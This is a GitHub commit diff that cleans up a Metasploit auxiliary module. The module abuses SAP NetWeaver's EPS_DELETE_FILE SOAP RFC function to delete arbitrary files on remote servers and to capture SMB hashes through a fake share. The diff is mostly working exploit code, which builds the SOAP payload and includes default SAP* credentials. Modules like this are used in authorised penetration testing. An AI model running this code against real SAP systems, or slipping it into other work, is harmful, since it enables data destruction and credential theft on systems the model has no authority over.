Skip to content

Commit a170624

Browse files
author
jvazquez-r7
committed
Clean up for sap_soap_rfc_eps_delete_file
1 parent 5adc287 commit a170624

File tree

1 file changed

+42
-28
lines changed

1 file changed

+42
-28
lines changed

modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb

Lines changed: 42 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -31,24 +31,31 @@ class Metasploit4 < Msf::Auxiliary
3131

3232
def initialize
3333
super(
34-
'Name' => 'EPS_DELETE_FILE (File deletion + SMB Relay)',
34+
'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion',
3535
'Description' => %q{
36-
A vulnerability in the SAP EPS_DELETE_FILE RFC function allows an attacker to delete files remotely
37-
and/or steal hashes using an SMB relay attack.
38-
SAP Note 1554030 / DSECRG-11-031.
39-
},
40-
'References' => [['URL','http://dsecrg.com/pages/vul/show.php?id=331']],
41-
'Author' => ['nmonkee'],
36+
This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP
37+
RFC Service, to delete arbitrary files on the remote file system. The module can
38+
also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
39+
},
40+
'References' => [
41+
[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=331' ],
42+
[ 'URL', 'https://service.sap.com/sap/support/notes/1554030' ]
43+
],
44+
'Author' =>
45+
[
46+
'Alexey Sintsov', # Vulnerability discovery
47+
'nmonkee' # Metasploit module
48+
],
4249
'License' => MSF_LICENSE
4350
)
4451

4552
register_options([
46-
OptString.new('CLIENT', [true, 'SAP client', nil]),
47-
OptString.new('USER', [true, 'Username', nil]),
48-
OptString.new('PASS', [true, 'Password', nil]),
49-
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil]),
50-
OptString.new('FILENAME',[true,'Filename (e.g. filename.ext )',nil])
51-
], self.class)
53+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
54+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
55+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
56+
OptString.new('DIRNAME', [true, 'Directory Path which contains the file to delete', '/tmp']),
57+
OptString.new('FILENAME', [true, 'Filename to delete', 'msf.txt'])
58+
], self.class)
5259
end
5360

5461
def run_host(ip)
@@ -59,31 +66,38 @@ def run_host(ip)
5966
data << '<SOAP-ENV:Header/>'
6067
data << '<SOAP-ENV:Body>'
6168
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
62-
data << '<DIR_NAME>' + datastore['PATH'] + '</DIR_NAME>'
69+
data << '<DIR_NAME>' + datastore['DIRNAME'] + '</DIR_NAME>'
6370
data << '<FILE_NAME>' + datastore['FILENAME'] + '</FILE_NAME>'
6471
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
6572
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
6673
data << '</EPS_DELETE_FILE>'
6774
data << '</SOAP-ENV:Body>'
6875
data << '</SOAP-ENV:Envelope>'
69-
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
76+
7077
begin
71-
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}\\#{datastore['FILENAME']}")
72-
res = send_request_raw({
73-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
78+
vprint_status("#{rhost}:#{rport} - Sending request to delete #{datastore['FILENAME']} at #{datastore['DIRNAME']}")
79+
res = send_request_cgi({
80+
'uri' => '/sap/bc/soap/rfc',
7481
'method' => 'POST',
7582
'data' => data,
76-
'headers' =>{
77-
'Content-Length' => data.size.to_s,
83+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
84+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
85+
'ctype' => 'text/xml; charset=UTF-8',
86+
'headers' => {
7887
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
79-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
80-
'Authorization' => 'Basic ' + user_pass,
81-
'Content-Type' => 'text/xml; charset=UTF-8',}
82-
}, 45)
83-
if res
84-
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
85-
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
86-
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
88+
},
89+
'vars_get' => {
90+
'sap-client' => datastore['CLIENT'],
91+
'sap-language' => 'EN'
92+
}
93+
})
94+
95+
if res and res.code == 200 and res.body =~ /EPS_DELETE_FILE.Response/ and res.body =~ /#{datastore['DIRNAME']}/ and res.body =~ /#{datastore['FILENAME']}/
96+
print_good("#{rhost}:#{rport} - File #{datastore['FILENAME']} at #{datastore['DIRNAME']} successfully deleted")
97+
elsif res
98+
vprint_error("#{rhost}:#{rport} - Response code: " + res.code.to_s)
99+
vprint_error("#{rhost}:#{rport} - Response message: " + res.message.to_s)
100+
vprint_error("#{rhost}:#{rport} - Response body: " + res.body.to_s) if res.body
87101
end
88102
rescue ::Rex::ConnectionError
89103
print_error("#{rhost}:#{rport} - Unable to connect")

0 commit comments

Comments
 (0)